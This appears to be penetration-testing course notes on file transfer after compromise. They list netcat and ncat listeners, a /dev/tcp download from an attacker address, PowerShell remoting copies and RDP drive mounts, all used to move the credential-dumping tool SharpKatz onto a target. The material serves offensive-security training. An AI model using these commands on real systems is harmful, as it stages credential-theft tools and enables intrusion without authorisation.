Other methods beyond programming languages exist.

Netcat Receive on Attack Host

# setup listener with netcat
nc -l -p 8000 > SharpKatz.exe
ncat -l -p 8000 --recv-only > SharpKatz.exe

Netcat Send to Target

# sending files to the comrpomised machine
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
cat --send-only 192.168.49.128 8000 < SharpKatz.exe

Netcat Serve File

# sending files as input to netcat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
sudo nc -l -p 443 -q 0 < SharpKatz.exe
 
# connecting to netcat using /dev/tcp to receive the file
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

Powershell Session File Transfer

Powershell remoting allows us to execute scripts or commands on a remote computer using Powershell sessions. Usually creates a HTTP and HTTPS listener on TCP port 5985 and 5986 respectively.

# Confirm winRM port is open
Test-NetConnection -ComputerName DATABASE01 -Port 5985
 
# Create a session
$Session = New-PSSession -ComputerName DATABASE01
 
# copy smaplefile.txt from localhost to the session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
 
# copy from session to localhost
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP Mounted Drive

This protocol is common in Windows environments, we can also transfer files using RDP by copying and pasting. There is also the ability to mount a local resource on the target RDP server.

# mount a linux folder
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer